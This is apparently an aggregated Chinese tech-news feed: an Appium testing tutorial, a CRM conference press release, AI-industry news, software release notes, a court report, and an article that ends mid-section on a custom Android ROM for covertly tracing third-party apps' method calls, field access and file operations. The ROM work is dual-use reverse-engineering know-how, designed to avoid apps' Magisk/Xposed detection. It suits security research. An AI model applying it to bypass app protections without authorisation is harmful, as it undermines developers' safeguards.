  • 开闭原则。 你无需对上下文进行修改就能够引入新的策略。
策略模式的缺点:
  • 如果你的算法极少发生改变, 那么没有任何理由引入新的类和接口。 使用该模式只会让程序过于复杂。
  • 客户端必须知晓策略间的不同——它需要选择合适的策略。
  • 许多现代编程语言支持函数类型功能, 允许你在一组匿名函数中实现不同版本的算法。 这样, 你使用这些函数的方式就和使用策略对象时完全相同, 无需借助额外的类和接口来保持代码简洁。

最最最后,完结撒花

告辞.jpeg

by gla1ve_Yim at January 22, 2025 02:47 AM

juejin android

快让Appium自动化测试你的App吧

前言

适用于移动端的UI自动化测试框架有很多,其中主要以Appium与Airtest最为有名,本次主要为大家主要分享Appium的自动化测试流程。

以我司App Zepp为测试目标,不涉及任何隐私,也欢迎大家购买我们的Amazfit智能手表,体验我们的Zepp App。

环境配置

我们直接通过命令安装appium的最新版本(假设你已经配置了npm命令)

npm i -g appium@next

安装完appium之后我们还需要安装驱动,这里我们以Android平台为例,安装uiautomator2驱动

appium driver install uiautomator2

当然,你还要配置Android SDK相关环境变量,此处直接省略了。上述环境配置后我们就可以开始编写代码了。

Appium支持使用JS、Python、Java、Ruby语言编写测试脚本,我们选择最常用的Python语言。

在上述配置完成后,我们可以通过appium-doctor来检查配置是否完成,配置完成后直接使用appium启动appium服务器,如下图所示。

红框中的地址就是appium的地址,在编写代码的时候将使用到。在开始编写代码之前,为了更好的理解Appium的操作原理,我们先来看一张图。

我们编写的脚本会下发指令到Appium服务器,然后Appium服务器下发指令给Android SDK,Android SDK通过ADB等一系列命令操作App。

当然,如果你不喜欢命令行也可以使用开源的Appium客户端,不过,要注意的是Appium客户端并不是一款IDEA,不能编写代码。编写脚本代码我们仍然需要在IDEA中进行,这里我使用的是PyCharm。环境配置好之后,我们来看如何使用Appium进行自动化测试。

Appium-Desktop 是为了让 Appium 能够更好用,使得入门更容易,让调试和界面分析更方便,官方开发了 GUI 的工具 Appium-desktop。

本来环境配置到这里就应该结束了,但是我发现Appium-Desktop已经被废弃且不再维护了,所以我们不应该再依赖它。而我们当前能查阅到的的所有资料基本都会推荐你去使用它。

使用方法

在我学习Appium使用方法的时候,我发现官方文档的中文版很多都是todo

appium.io/docs/zh/2.0…

并且,这个官方文档和Airtest的官方文档相比真的是“一言难尽”,对初学者非常的不友好。

uiautomator2.readthedocs.io/en/latest/a…

打开目标Activity

操作App的第一步,我们可以写一个自动化脚本,让脚本帮我们自动打开目标Activity,然后我们就可以定位元素去执行点击了。

这里我们定义一个字典,声明平台、驱动等参数,代码如下所示。

capabilities = {
     'automationName''UiAutomator2',
     'platformName''Android',
     'appPackage'"xxx",
     'appActivity'"xxx"
 }

这两个加粗的参数是必填的,appPackage是App的包名,appActivity是我们想打开的目标页面,这里我们打开启动页页面。通过webdriver.Remote方法来连接Appium服务器,代码如下所示。

driver = webdriver.Remote("0.0.0.0:4723", capabilities)
这里的0.0.0.0:4723就是我们启动appium服务器之后控制台显示的地址。由于我们在capabilities指定了目标页面,所以连接服务成功之后,会直接执行打开目标页面的adb命令。
adb shell am start -n packagename/xxxxxx.MainTabActivity

代码写好后,运行程序,“高大上”的流程执行结束了,但是我们发现抛出了一个权限异常。

这是因为目标Activity的exported属性没有设置为true导致的。不过我们不用纠正这个问题,至少这说明Appium已经是可用的状态了。

查看布局元素

在Android中我们可以使用Android SDK中的uiautomatorviewer工具来分析页面元素,这里遇到了两个坑:

  • uiautomatorviewer只能在JDK1.8或以下版本运行

  • 我的mac环境下官方环境自带的uiautomatorviewer无法正常运行,使用源代码自己重新编译了一个jar

运行uiautomatorviewer打开声音与振动页面,显示如下所示。

image.png

从布局分析的这个图中可以看出对应按钮的resourceId、class、package等参数。我们写脚本的时候将用到这些参数。

但是这个工具只能在Android中使用,具有很多不便性。这里我们推荐使用weditor来查看布局元素。

weditor是一个用于查看和分析应用程序的 UI 层次结构的工具。它是一个可视化的界面,用于检查应用程序中的各种元素、属性和布局。Weditor 工具可以帮助开发人员和测试人员在进行 Appium 自动化测试时更好地理解和操作应用程序的界面。

pip install weditor

安装好weditor之后,直接在命令行中启动weditor,weditor会打开一个网页,我们可以在网页中进行页面操作,如下图所示。

image.png

知道如何查看布局元素之后,我们就可以尝试点击事件了。

尝试点击事件

我们通过weditor可以清晰的看到某个布局元素的resourceId,我们可以通过resourceId来执行对应按钮的点击事件。

铃声提醒右侧switch的resourId为“rainbow_tile_switch”,编写代码如下所示:

# 连接Appium服务器
driver = webdriver.Remote("0.0.0.0:4723", capabilities)
# 定位到铃声提醒按钮
ring = driver.find_element(By.ID, "rainbow_tile_switch")
# 执行点击事件
ring.click()

这里我们直接打开了声音与振动页面,所以是可以直接查找到这个元素的,如果当前不在这个页面我们还可以通过添加wait方法来等待元素的出现。

driver.implicitly_wait()

运行程序,结果如下所示。

在Appium早期的版本根据ID定位元素的方法是find_element_by_id,根据文本定位元素的方法是find_element_by_text,我们现在能搜到的教程基本上都是这样写的。但是在Appium 2.0中 将这些方法全都合并了。

driver.find_element(By.ID, "rainbow_tile_switch")

在这行代码中,我们是根据ID去查找,并且传了一个参数By.ID,By类就是定位元素方式的枚举类,其代码如下所示。

class By:
    """Set of supported locator strategies."""

    ID = "id"
    XPATH = "xpath"
    LINK_TEXT = "link text"
    PARTIAL_LINK_TEXT = "partial link text"
    NAME = "name"
    TAG_NAME = "tag name"
    CLASS_NAME = "class name"
    CSS_SELECTOR = "css selector"

从By类中我们可以看出可以通过 ID、XPATH、LINK_TEXT等方式定位,这些值我们都是可以在weditor中看到的。但是其实上述代码写法是有问题的,因为铃声提醒、覆屏静音等Switch按钮的resourceId都是相同的,所以在实际操作中,我们可能需要使用XPATH来定位。

总结

这样我们就实现了使用Appium进行自动化点击的功能,从而达到自动化测试的效果。

by 黄林晴 at January 22, 2025 02:42 AM

juejin article

纷享销客华东渠道伙伴大会成功举行 凝心聚力,共创未来

近日,主题为“凝心聚力 创未来”的纷享销客2024年度华东战区渠道伙伴年度会议在上海成功举行,从多地奔赴而来的渠道伙伴共襄盛举。会上,大家共同探讨了“双向奔赴、健康经营、赢盈共进”的发展之道。

会议伊始,纷享销客华东战区总经理张睿带来了精彩致辞,对前来参会的渠道伙伴们表示欢迎,为本次活动拉开了序幕。

一、凝心聚力,共促行业创新发展

随后,纷享销客创始人兼CEO罗旭以 “凝心聚力 创未来” 为主题,深刻剖析了当前全球经济环境下的挑战与机遇,从国际、国内两个维度阐述了CRM行业的最新发展趋势,并与现场嘉宾分享了纷享销客的发展成果及未来战略布局。

演讲中,罗旭详细介绍了纷享销客如何在全球经济变革的浪潮中,坚持以创新驱动发展,以技术引领未来,勇立潮头。面对国内外经济环境的复杂多变,纷享销客勇抓机遇,凭借战略上的前瞻布局、产品上的不断创新与经营优化,以及管理效率上的显著提升,连续四年复合增长率达40%。

值得关注的是,在2023年下半年中国SFA市场中纷享销客市场份额和增速均为国产第一,赢得了广泛的市场认可与资本青睐。

谈及2025年发展战略,罗旭表示,纷享销客将从经营侧、战略侧、产品侧发力,致力于成为中国CRM领军企业,实现国内市场占有率第一,同时,完成国际化战略布局,努力将营收做到出海SaaS第一。具体将围绕以下关键策略开展:

第一在产品侧,将继续延续行业平台化特性,针对客户复杂需求,进行平台级建设。

第二坚持行业化发展,行业化既是经营战略,也是产品战略。

第三将AI等智能化发展作为重点,构建自身核心竞争力。

公众1.jpg

<纷享销客创始人兼CEO 罗旭>

罗旭表示,纷享销客当前正积极推进从原厂型向生态型CRM厂商的战略升级,围绕“直营渠道一体化、渠道平台化、伙伴多元化、客户资源流量化、人才流动化、运营一体化”六大伙伴发展战略前沿布局,构建全面覆盖、健康经营、可持续增长的纷享销客生态渠道体系,与众伙伴一起,实现共识共进、共建共赢的发展目标,共同推动CRM行业的创新发展。

二、携手奋进,合力推动直营渠道一体化发展

张睿以 《携手奋进 启航渠道新征程》 为题,分享了华东战区直营渠道一体化建设及落地的宝贵经验,他提到,通过前中后台能力一体化、交付提效等经营赋能,在文化同频、节奏同频的基础上,直营渠道一体化建设才能更好地推进。他表示,未来,将通过关注活跃客户IT建设、构建生态商机网络、优化交付监测体系、强化客户经营组织等措施,推动直营渠道一体化深化落地。

在张睿看来,基础资源池的长期蓄水,需要市场、生态、销售三方发力,共建渠道生态和伙伴生态,这相当于为渠道发展提供了源源不断的弹药。“如果没有这些弹药,我觉得很难再通过能力建设去实现增长,在真刀真枪,以战代练的发展环境中,弹药的支持很重要。” 张睿如是表示。

公众2.jpg

<纷享销客华东战区总经理 张睿>

张睿介绍,纷享销客在上海已经构建了超千人社群,举办过的生态伙伴会到现在已经超过50期,链接的伙伴人次数估计万次以上,有效推动了生态合作和发展。

对于前中后台能力一体化建设,张睿认为,应该在获客、转化、客户经营各模块持续发力,最终实现客户数量的持续增加以及业绩的增长和留存率的提升。未来,纷享销客将携手各生态伙伴,合力推动直营渠道一体化发展,扎根战区深耕行业,共振经营势能,共享行业发展红利。

三、标杆经验分享,一起向未来

在渠道代理商年度颁奖仪式中,多位来自上海、南京、宁波等地的优秀伙伴在获得自身增长的同时,也推动了纷享销客的区域势能。江苏健拓网络科技有限公司凭借卓越业绩,荣获 “全国伙伴业绩Top1奖” ;绿皮书(上海)科技有限公司作为新兴力量,斩获 “成长新星奖” ; 南京悦分享网络科技有限公司凭借卓越表现,荣获 “价值卓越奖” ;苏州纷享互联信息科技有限公司、上海众益信息科技有限公司、宁波青谷互联科技有限公司也用他们优异的业绩成绩,展现了纷享人勇于突破的精神,共获 “最佳突破奖” 。优秀渠道伙伴的持续涌现,不仅彰显了合作伙伴对共同事业的坚定承诺,也预示着纷享销客渠道生态光明的发展前景。

现场,获奖的优秀标杆也分别作了经验分享。

绿皮书(上海)科技有限公司总经理吴念十分谦逊地以一场“朴素”的经验为始,作 《业务拓展经营分享》 。吴念认为,确立目标并且达成共识十分重要,达成共识的目标能够支撑起这一年团队使力的方向。“目标不等于任务,背后是对团队今年发展的思考。目标最好有70%可达成的机会,30%努力的空间。对于新伙伴而言,先‘做一步‘或许更重要,而对于老伙伴而言,应该既着眼当下的业务,也思考至少未来一年的外部环境变化,便于提前做准备。” 皮实、利他、enjoy,吴念用三个关键词,与与会嘉宾共勉。

公众3.png

<绿皮书(上海)科技有限公司总经理 吴念>

南京悦分享网络科技有限公司总经理朱姗姗在维系老客户方面有自己的一套方法论,现场,她倾囊相授,作了题为 《驱动业绩增长&老客户经营策略》 的分享。三层客户、三个阶段、三个角色、一场活动……朱姗姗表示,精细化经营是老客户增购的有效手段,增购需要进行客户分层,也需要售前、实施、商务等多角色配合。客户洞察、业务设计、关键人经营,是客户经营的“金三角”。

公众4.png

<南京悦分享网络科技有限公司总经理 朱姗姗>

宁波青谷互联科技有限公司总经理陆晓忠(以下简称“宁波青谷”)现场作了 《生态经营:合作共赢 助力增长》 的主题分享,陆晓忠认为,宁波青谷之所以能获得“最佳突破奖”,关键在于生态开源开得好,他介绍,宁波青谷90%的机会客户都来自于生态伙伴推荐,随后,他围绕生态伙伴的分层经营、生态伙伴日常建设运营、势能打造等内容展开经验分享。他介绍,通过甬享会,实现了从“我主动找伙伴”到“伙伴主动找我”的转变。

公众5.png

<宁波青谷互联科技有限公司总经理 陆晓忠>

活动现场,纷享销客与多家伙伴举行了合作签约仪式,纷享销客渠道生态版图得以进一步扩充。未来,纷享销客将加强与新合作伙伴在数智化创新上的合作,持续拓宽生态圈,共促数字经济发展。

公众6.png

公众7.png

公众8.png

公众9.png

公众10.png

通过这次渠道伙伴大会,纷享销客不仅加深了与渠道伙伴的价值互信和合作共识,也展示了其作为行业先行者的责任感和使命感,让与会者们全身心感受到了双向奔赴的成长之美。

公众11.jpg

随着大会的圆满落幕,纷享销客与华东战区的渠道伙伴们共同描绘了一个充满希望和机遇的数智未来蓝图。展望未来,纷享销客将继续秉承“直营渠道一体化发展”的发展理念,引领行业潮流,愿与所有合作伙伴一起共创数智化的美好未来。

by 纷享销客 at January 22, 2025 02:38 AM

oschina news industry

微软独家地位生变:OpenAI 获自由选择云服务供应商

微软与OpenAI的合作关系迎来重大转变。随着OpenAI宣布与软银、甲骨文等公司签署Stargate协议,微软不再是OpenAI的独家数据中心基础设施提供商。根据最新协议,微软获得对OpenAI新增云计算容量的"优先购买权",这意味着当微软无法满足需求时,OpenAI可以寻求其他云服务提供商的支持。

微软在博文中确认了这一变化,表示OpenAI已对Azure做出新的重要承诺,将继续支持其产品和培训需求。同时,微软也批准了OpenAI自主构建额外计算能力的权限,主要用于模型研究和训练。

这一转变源于OpenAI面临的计算资源短缺问题。该公司此前将产品发布延迟归咎于计算能力不足,这一问题也reportedly成为其与主要投资者微软之间关系紧张的根源。在股东压力下,微软于今年6月允许OpenAI与甲骨文达成合作,以增加计算资源。

尽管如此,微软强调双方的核心合作关系将持续到2030年,包括对OpenAI知识产权的访问权、收入分成安排以及对OpenAI API的独家经营权。值得注意的是,这一协议附带条件:如果OpenAI在此之前实现能产生1000亿美元利润的通用人工智能(AGI),微软将失去对其技术的使用权。据报道,OpenAI正考虑取消该条款以获取微软更多资金支持。

微软特别强调,OpenAI API仍将继续在Azure平台独家运行,客户可以通过Azure OpenAI服务或直接从OpenAI获取领先模型的访问权限。

by 来源: OSCHINA at January 22, 2025 02:29 AM

ChatGPT 搜索测试整合记忆功能

据 TestingCatalog 发文称,OpenAI 正在测试 ChatGPT 搜索的整合记忆功能,旨在帮助 ChatGPT 能有更强的个性化搜索能力。

报道称,OpenAI 为该功能命名为「Memory in search」。启用该功能后,则允许 ChatGPT 利用存储的记忆数据,进行更强的个性化搜索。

TestingCatalog 举例,用户若想让 ChatGPT 搜索关于自己的特定信息,则可使用该功能,使 ChatGPT 能在过往的数据纪录中查找到,并进行更个性化的回答。

报道还指出,「Memory in search」功能类似浏览器中的「Cookie」,从而帮助 AI 工具能够根据存储的用户信息,去进行个性化回答。同时 TestingCatalog 也表示,该功能或许会影响到用户的隐私及定向广告的投放。

目前,该功能仍处于隐藏状态且未公开。TestingCatalog 测试发现,此功能的开关按钮已出现在 MacOS 版的 ChatGPT 中。

by 来源: OSCHINA at January 22, 2025 02:25 AM

oschina news project

FreeFileSync 14.0 发布

FreeFileSync 14.0 发布

白开水不加糖
 白开水不加糖
发布于 2025年01月22日10时22分17秒
收藏 3

FreeFileSync 是一款开源软件,适用于 Windows、macOS 和 Linux。FreeFileSync 本质是一个用于文件夹对比和同步的软件,它可以创建和管理所有重要文件的备份副本。FreeFileSync 不是每次都复制每个文件,而是确定源文件夹和目标文件夹之间的差异,并只传输所需的最低数据量。

FreeFileSync 14.0 更新内容如下:

  • Dark 模式支持(Windows 10 20H1、macOS 10.14 (Mojave)、Linux)
  • 修复了 dock 图标进度百分比差异(macOS)
  • 防止在 comparison/synchronization 期间出现“App Napp”(macOS)
  • 增强不支持字符的 EINVAL 错误消息
  • 支持以后台优先级运行(Linux)
  • 修复创建 shell 链接时安装程序访问被拒绝的问题(Windows)
  • 改进了文件列表的大小和日期格式(macOS)
  • 改进的上下文菜单自定义网格
  • 将峰值内存消耗减少 12%
  • 自动为配置面板背景设置适当的文本颜色
  • 恢复并更新意大利语翻译

更新说明:https://freefilesync.org/

本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:FreeFileSync 14.0 发布

January 22, 2025 02:22 AM

oschina news industry

“WePhone创始人被前妻逼死”案件最新进展:检方建议量刑 10 年以上

1月21日上午,翟欣欣涉嫌敲诈勒索一案在北京市海淀区人民法院山后人民法庭开庭审理,未当庭宣判。

此次庭审即为WePhone创始人苏享茂自述被前妻逼死一案的刑事部分

庭审结束后,知情人士告诉记者,翟欣欣当庭“认罪认罚”。案情本身已较为明晰,关注的焦点在于如何确定量刑

据北京市朝阳区人民法院查明,苏享茂与翟欣欣于2017年3月30日相识,2017年6月7日登记结婚,同年7月18日离婚,系“闪婚闪离”。当年9月7日,苏享茂跳楼身亡。

2023年4月,“苏享茂翟欣欣案”迎来了两个相关民事案件——离婚后财产纠纷案、赠与合同纠纷案的民事一审判决,翟欣欣被判退还苏享茂家属约1000万元财物,并被撤销两套房产的个人所有权。

同年5月12日,苏享茂家属确认收到翟欣欣的660万元人民币还款。

相关民事案件二审期间,翟欣欣多次向二审法官提出“想和苏享茂的家人进行调解,愿意赔偿和补偿,希望获得调解书”,在庭审时被苏享茂方明确拒绝。苏享茂的家属曾对南都记者表示,除民事案件外,他们还坚决追究翟欣欣的刑事责任。

2023年5月,北京市公安局海淀分局以《立案告知书》告知苏享茂家属,该局认为“翟欣欣敲诈勒索”一案符合立案条件,现立案侦查。翟欣欣被逮捕,羁押在看守所。

2024年3月7日晚,翟欣欣涉嫌敲诈勒索一案已移送法院。由于此案社会关注度高,各个环节都很慎重,因此直到今年1月21日才开庭审理。

相关阅读

by 来源: OSCHINA at January 22, 2025 02:18 AM

oschina news project

ETL&流批一体化框架 bboss v7.3.2 发布

ETL&流批一体化框架 bboss v7.3.2 发布

bboss
 bboss
发布于 2025年01月22日10时01分00秒
收藏 3

ETL&流批一体化框架 bboss v7.3.2 发布,新增多输出源插件,支持将数据同时同步到多个数据源;最新版本还做了诸多性能优化改造,带来更加极速的数据采集同步以及流计算性能体验。

v7.3.2 功能改进

  1. 数据采集功能扩展:增加多输出插件,支持将采集的数据同时同步到多个数据源
  2. 数据采集功能改进:优化文件输出插件文件切割机制,优化输出记录数据buffer机制,提升数据文件生成性能
  3. 数据采集功能改进:作业任务完成回调处理配置管理优化
  4. 数据采集功能改进:优化作业停止逻辑
  5. Kafka客户端组件改进:优化消费组件事务管理机制
  6. Json组件改进:增加不关闭writer的json序列化方法,提供更加优雅的数据序列化功能,并提升序列化性能
  7. 升级Velocity模版引擎版本1.7到2.5,提升模版解析处理性能,重点关注版本升级注意事项
  8. 升级jackson版本到2.18.2
  9. Milvus输入插件改进:新增通过向量search检索条件采集Milvus向量数据功能,并添加相关案例
  10. 问题修复:修复引用外部Milvus数据源异常问题
  11. 问题修复:修复Milvus输入插件没有配置expr的情况下增量查询报错的问题
  12. 增加Milvus到Milvus同步案例
  13. 升级Milvus客户端驱动版本为2.5.2
  14. 去除框架中对log4j的依赖,调整为log4j2

参考资料

bboss ETL 工具使用集成指南

https://esdoc.bbossgroups.com/#/db-es-tool

bboss 数据采集 & 流批一体化处理使用指南

https://esdoc.bbossgroups.com/#/etl-metrics

bboss 插件清单 -- 输入和输出插件使用介绍

https://esdoc.bbossgroups.com/#/datatran-plugins

bboss 案例大全

https://esdoc.bbossgroups.com/#/bboss-datasyn-demo

基于源码构建 bboss 

https://esdoc.bbossgroups.com/#/bboss-build

本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:ETL&流批一体化框架 bboss v7.3.2 发布

January 22, 2025 02:01 AM

juejin android

自定义Android Rom实现目标程序行为监控

背景

为了研究三方应用一些安全机制,进行逆向分析,比如三方应用调用的敏感函数,获取的系统属性、注册的信号等,尝试通过自定义Rom修改系统代码来实现,之所以不使用类似依赖于Magisk Xposed之类的方案 是因为部分APP会对这类技术进行识别,可能会影响真实的程序运行逻辑。

目前该Rom已实现以下能力:

  • 监控目标函数的调用
  • 监控目标Java字段被访问
  • 监控获取系统属性
  • 监控执行命令程序
  • 监控通过libc进行文件相关操作,比如open access
  • 监控直接通过系统调用方式进行的文件操作 (有些三方App可能不通过libc API,而是直接通过系统调用)

接下来本文主要介绍开发过程中的一些核心实现细节,以及遇到的一些问题。

开发环境准备

网上的文章比较多,不详细介绍,建议最好是 ubuntu 22版本,在ubuntu 24上实测还有一些环境问题,比如 lunch menu 不展示编译选项、sandbox 由于ubuntu 24 默认开启kernel.apparmor_restrict_unprivileged_userns 配置导致无法展示 等问题,我使用ubuntu 24 主要是由于笔记本按照ubuntu22 缺少部分驱动,导致笔记本键盘失灵。

个人完整的开发及软硬件环境如下

  • 系统: ubuntu 24
  • 手机: pxiel 7 pro
  • aosp 分支: android-14.0.0_r67
  • GKI 内核分支:android13-5.10

这里为了保证构建稳定性,尽量使用官方piexle 已验证过的构建的分支,piexel设备 aosp 最新的构建分支可以通过

source.android.com/docs/setup/… 查看。

framework 层相关监控

代码分析

在之前的jvmti 文章 《基于jvmti实现性能监控》中提到,通过jvmti可以实现一些程序监控功能,其中就包括 函数调用监控和字段访问监控。这里,我们再简单分析jvmti模块是如何实现这些功能的。

android中 JVMTI中的程序执行相关的监控实际是通过art中的 instrumentation模块实现的 ,jvmti的实现是通过注册在 instrumentation中注册了InstrumentationListener接口。

/aosp/art/openjdkjvmti/events.cc

instrumentation.h 头文件提供了MethodEnterEvent、MethodExitEvent、FieldReadEvent等事件函数,事件函数内部便利回调了注册的 InstrumentationListener。

instrumentataion.h MethodEnterEvent函数 -> instrumentation.cc MethodEnterEventImpl函数

继续向上分析MethodEnterEvent的调用点。

调用点主要存在2个文件中,分别是 quick_trampoline_entrypoint 及 interpreter.cc, 先分析 interpreter.cc中的调用点,调用点在 Execute(..)函数中。

Execute函数是switch解释执行模式执行函数的调用点,jit->MethodEntered 内部会判断函数该函数是否可以被JIT编译,如果达到热点函数阀值会触发JIT编译,如果编译成功则会跳转到CompiledCodeBridge。执行编译后的函数。否则继续向下通过调用ExecuteSwitch进入函数的Switch执行模式执行函数代码, 而在ExecuteSwitch执行前,判断了是否存在 Instrumentation Listenere,触发相应的函数回调。

再看quick_trampoline_entrypoints.cc中的调用点。

artQuickProxyInvokeHandler 和 artQuickGenericJniTrampoline是 Java 动态代理函数、JNI函数执行的跳板函数, artJniMethodEntryHook、artMethodEntryHook 是暴露给 quick编译器的Hook函数,这2个函数的地址会被注册到 quick_entry_points中, 但在实际验证中,在这2个函数内部添加了日志发现,这2个函数并没有被调用,待后续研究。

以上是instrumentation函数调用监控的实现的大致代码,主要的实现方式还是在各个调用入口、跳板函数上回调执行相应的Listenerer。

访问成员属性的实现方式同上,也是通过Instrumentation来实现的。

需要注意的是 Instrumentation的执行模式中 ,有三种级别 kInstrumentNothing、kInstrumenWithEntryExitHooks、kInstrumenWithInterpreter,如果只需要监控函数调用则 kInstrumenWithEntryExitHooks即可,如果需要函数字段读写等其他监控,需要使用 kInstrumenWithInterpreter级别。这是因为 art中除了switch解释执行模式,还存在nterp解释执行模式,而nterp译码和翻译执行全程都由汇编代码实现 不支持指令级别的监控,因此对函数体内部指令的执行监控必须将代码执行模式全部回退到switch解释执行,nterp暂 不支持。

代码实现

分别实现2个函数,用于注册或取消Instrumentation,在EnableMethodTracing中 内部会通过ClassVisitor遍历所有ArtMethod函数,并更新对应entrypoint,因此操作前需要通过 ScopedSuspendAll 暂停虚拟机线程执行。

这里为了更好的性能,如果判断不开启FieldRead功能时,调用EnableMethodTracing时,第三个参数传如false,避免使用swtich解释执行模式。

void MoonTracer::enableInstrumentation() {
    {
        uint32_t  events = 0;
        if (traceGetField){
            events = events | instrumentation::Instrumentation::kFieldRead;
        }
        if (traceInvokeMethod){
            events = events | instrumentation::Instrumentation::kMethodEntered;
        }
        if (instrumentation_enabled){
            //已经生效过,需要进行修改,先关闭再重新开启
            //判断当前模式是否相等
            if (events == applied_instrumentation_events){
                //模式未发生变化,直接返回
                return;
            }
            //模式发生了变化,先还原所有函数
            disableInstrumentation();
        }

        // suspend all
        Thread *self = Thread::Current();
        jit::ScopedJitSuspend suspend_jit;
        gc::ScopedGCCriticalSection gcs(self,
        gc::kGcCauseInstrumentation,
        gc::kCollectorTypeInstrumentation);
        ScopedSuspendAll ssa(__FUNCTION__);

        instrumentation::Instrumentation *instrumentation = Runtime::Current()->GetInstrumentation();
        instrumentation->AddListener(this,
            events,
            true);
        applied_instrumentation_events = events;
        //如果需要监控字段访问
        bool needsInterpreter = traceGetField;
        Runtime::Current()->GetInstrumentation()->EnableMethodTracing(kTracerInstrumentationKey,
            this,
            /*needs_interpreter=*/needsInterpreter);
        instrumentation_enabled = true;
    }

}
void MoonTracer::disableInstrumentation() {
    {
        Thread *self = Thread::Current();
        gc::ScopedGCCriticalSection gcs(
        self, gc::kGcCauseInstrumentation, gc::kCollectorTypeInstrumentation);
        jit::ScopedJitSuspend suspend_jit;
        ScopedSuspendAll ssa(__FUNCTION__);
        Runtime *runtime = Runtime::Current();
        runtime->GetInstrumentation()->RemoveListener(
            this,
            applied_instrumentation_events,
            true);
        runtime->GetInstrumentation()->DisableMethodTracing(kTracerInstrumentationKey);
        applied_instrumentation_events = 0;
        instrumentation_enabled = true;
    }
}

之后在相应的回调中,通过PrettyMethod 获取具体的函数名,并判断是否记录到跟踪日志中

性能优化

上述监控功能实现后,在目标App实际执行时,发现程序异常卡顿,进程启动时间甚至需要20S左右,并且App几乎不可操作,一滑动页面就几乎卡死。

最终通过二分法,逐步注释代码,确认卡顿原因为 在MethodEnter中 调用了PrettyMethod函数, 程序中通过PrettyMethod获取ArtMethod的函数签名字符串表示,并和注册的函数名单判断该函数是否为目标监控函数,由于每次函数执行都需要调用该PrettyMethod函数,而该函数的性能似乎并不高,但每次函数调用都会触发PrettyMethod,函数调用在App运行过程中是非常频繁的。(一些基础函数的会频繁触发,比如基础数字类型int long的装箱拆箱、Object.toString()、hashCode()、List.size() 、等)。

因此将程序优化为在开启监控前,通过ClassVisitor便利所有的函数及类字段,判断是否为目标属性,如果是则将ArtMethod 或 ArtField 指针加入到一个Set类型的集合变量中,最后在 相应的函数回调中判断是否为set中的成员即可。

优化后,进程启动时间缩短为4S左右,App能够正常操作。

class CollectTraceClassVisitor : public ClassVisitor {
public:
explicit CollectTraceClassVisitor(MoonTracer* moonTracer)
: moonTracer_(moonTracer) {}

bool operator()(ObjPtr<mirror::Class> klass) override REQUIRES(Locks::mutator_lock_) {
    for (ArtMethod& method : klass->GetMethods(kRuntimePointerSize)) {
        //判断是否在目标集合中
        if (moonTracer_->isTargetArtMethod(&method)){
            moonTracer_->targetArtMethods.insert(&method);
            if (moonTracer_->IsDevDebug()){
                LOG(ERROR) << "添加目标ArtMethod: " << method.PrettyMethod(false);
            }
        }
    }
    LengthPrefixedArray<ArtField>* const sFields = klass->GetSFieldsPtr();
    LengthPrefixedArray<ArtField>* const iFields = klass->GetIFieldsPtr();
    uint32_t  sFieldsSize = klass->NumStaticFields();
    uint32_t  iFieldsSize = klass->NumInstanceFields();
    for (size_t i = 0; i != iFieldsSize; ++i) {
        ArtField* field = &iFields->At(i);
        if (moonTracer_->isTargetArtField(field)){
            moonTracer_->targetArtFields.insert(field);
            if (moonTracer_->IsDevDebug()){
                LOG(ERROR) << "添加目标ArtField: " << field->PrettyField(false);
            }
        }
    }

    for (size_t i = 0; i != sFieldsSize; ++i) {
        ArtField* field = &sFields->At(i);
        if (moonTracer_->isTargetArtField(field)){
            moonTracer_->targetArtFields.insert(field);
            if (moonTracer_->IsDevDebug()){
                LOG(ERROR) << "添加目标ArtField: " << field->PrettyField(false);
            }
        }
    }
    return true;  // we visit all classes.
}

private:
MoonTracer* const moonTracer_;
};

栈回溯调用

除了监控到目标函数或字段的获取,我们还需要知道具体的调用路径,因此需要实现栈回溯能力,由于我们是在aosp源码中直接开发的,因此可以直接复用源码成现有的函数。

对于Java线程 通过StackVisitor回溯调用栈, 回溯之前需要确保对 mutator_lock_加锁。

std::string JavaBackTrace() NO_THREAD_SAFETY_ANALYSIS {
    std::string r;
    Thread *artThread = Thread::Current();
    bool lock = false;
    if (!Locks::mutator_lock_->IsSharedHeld(artThread)){
        Locks::mutator_lock_->SharedLock(artThread);
        lock = true;
    }
    StackVisitor::WalkStack(
        [&](const StackVisitor *stack_visitor) NO_THREAD_SAFETY_ANALYSIS {
            ArtMethod *m = stack_visitor->GetMethod();
            // Ignore runtime frames (in particular callee save).
            if (!m->IsRuntimeMethod()) {
                r = r.append(m->PrettyMethod(false)).append("\n");
            }
            return true;
        },
        artThread,
        /* context= */ nullptr,
        art::StackVisitor::StackWalkKind::kIncludeInlinedFrames);
    if (lock){
        Locks::mutator_lock_->SharedUnlock(artThread);
    }
}

对于Native栈的获取, 调用 unwindstack::AndoridLocalUnwinder 实现,并且过滤掉解释器执行的相关栈帧,。

std::string NativeBackTrace() {
  std::string r;
  unwindstack::AndroidLocalUnwinder unwinder;
  uint64_t thread_id = android::base::GetThreadId();
  unwindstack::AndroidUnwinderData data;
  unwinder.Unwind(thread_id, data);
  uint32_t ignoreDepth = 0;

  for (size_t i = ignoreDepth; i < data.frames.size(); i++) {
    auto &frame = data.frames[i];
    frame.num -= ignoreDepth;
    const std::string &fullName = frame.map_info->GetFullName();
    if (frame.map_info != nullptr && isWhiteSo(fullName)) {
      continue;
    }
    if (frame.function_name != "") {
      const char *func_name_str = frame.function_name.c_str();
      //过滤 interpreter相关的栈帧
      //  #21 pc 0000000000418134  /apex/com.android.art/lib64/libart.so (art::interpreter::Execute(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame&, art::JValue, bool, bool) (.__uniq.112435418011751916792819755956732575238.llvm.233200218098832039)+244) (BuildId: a16352327f304fdd757c84017a60ed48)
      //  #22 pc 00000000005336e8  /apex/com.android.art/lib64/libart.so (bool art::interpreter::DoCall<false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, bool, art::JValue*)+3992) (BuildId: a16352327f304fdd757c84017a60ed48)
      //  #23 pc 00000000006024d0  /apex/com.android.art/lib64/libart.so (void art::interpreter::ExecuteSwitchImplCpp<false>(art::interpreter::SwitchImplContext*)+14848) (BuildId: a16352327f304fdd757c84017a60ed48)
      //  #24 pc 00000000003ccfd8  /apex/com.android.art/lib64/libart.so (ExecuteSwitchImplAsm+8) (BuildId: a16352327f304fdd757c84017a60ed48)
      if (ignoreNativeFunc(func_name_str)
          ) {
        continue;
      }
      r = r.append(unwinder.FormatFrame2(frame)).append("\n");
    } else {
    }
  }
  return r;
}

libc 库监控

